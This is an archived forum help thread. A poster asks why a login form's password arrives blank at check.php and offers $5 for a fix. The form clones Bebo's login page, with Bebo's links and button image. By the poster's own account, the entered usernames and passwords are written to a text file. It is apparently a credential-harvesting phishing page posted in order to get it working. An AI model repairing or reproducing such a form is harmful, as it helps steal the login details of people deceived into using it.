Jump to content

URGENT: Password not submitting to next page?


mottlee

Recommended Posts

:wtf: is wrong with this code

 

The idea is for people to use there login details, User & Pass and successfully log in, Once you hit submit you get redirected to the "check.php" which all works fine but it seems the username logs through and is entered in the Check.php but the password comes up blank?

 

i need both user and pass to show up for a successful login, Please have a look at the login coding and see whats wrong

 

The USER & Pass gets saved in a .txt file,  This is so we can track who logs in and who dont but at the moment its not letting anyone log in because the password isnt getting carried over and just shows up as BLANK when you put in a password

 

$5USD Reward for who ever gets the ride code to fix the error need it pretty urgent!

 

      <!-- Begin Login Form -->

        <div id="login-box">
            <a href="http://bebo.com/LostPassword.jsp" class="lost-password">Lost Password</a>
            <h2>Login</h2>

            <form id="login-form" action="check.php" method="post">
            <table width="100%" border="0" cellpadding="0" cellspacing="0">
            <tbody>

                <tr>
                    <td><input type="text" id="username" name="EmailUsername" value="Email or Username" class="field" /></td>
                    <td>
                        <input type="text" id="passwordHolder" name="PasswordHolder" value="Password" class="field" />
                        <input type="password" id="password" name="Password" value="" class="field" style="display:none;" />
                    </td>
                </tr>
                <tr>
                    <td colspan="2" id="remember-field">

                           <input type="image" id="login-button" src="http://s.bebo.com/img/page/login-btn.png" alt="Login" name="SignIn" value="Sign In" />
                        <input type="checkbox" id="RememberMe" name="RememberMe" value="Y" />
                        <label for="RememberMe">Automagically for 2 weeks</label>
                    </td>
                </tr>
            </tbody>
            </table>
            </form>

<!-- form label/focus script -->
<script language="javascript">
if($defined($('username'))) { //not logged in
   emptyUsernameText = $('username').value;

   $('username').addEvent('focus', function(event) {
      if(emptyUsernameText==this.value)
         this.value = "";
   });
   $('username').addEvent('blur', function(event) {
      if(this.value.trim()=="")
         this.value = emptyUsernameText;
   });

   $('passwordHolder').addEvent('focus',function(event) {
      this.setStyle('display','none');
      $('password').setStyle('display','inline');
      $('password').focus();
   });

   $('password').addEvent('blur',function(event) {
      if(this.value.trim() == "") {
         this.setStyle('display','none');
         $('passwordHolder').setStyle('display','inline');
      }
   });
}
</script>

            <div id="login-links">
                <span id="more-info"></span>
                <span id="sign-up"><a href="http://bebo.com/InviteJoin.jsp?Member=N">SIGN UP</a></span>
            </div>
        </div>

Archived

This topic is now archived and is closed to further replies.

×
×
  • Create New...

Important Information

We have placed cookies on your device to help make this website better. You can adjust your cookie settings, otherwise we'll assume you're okay to continue.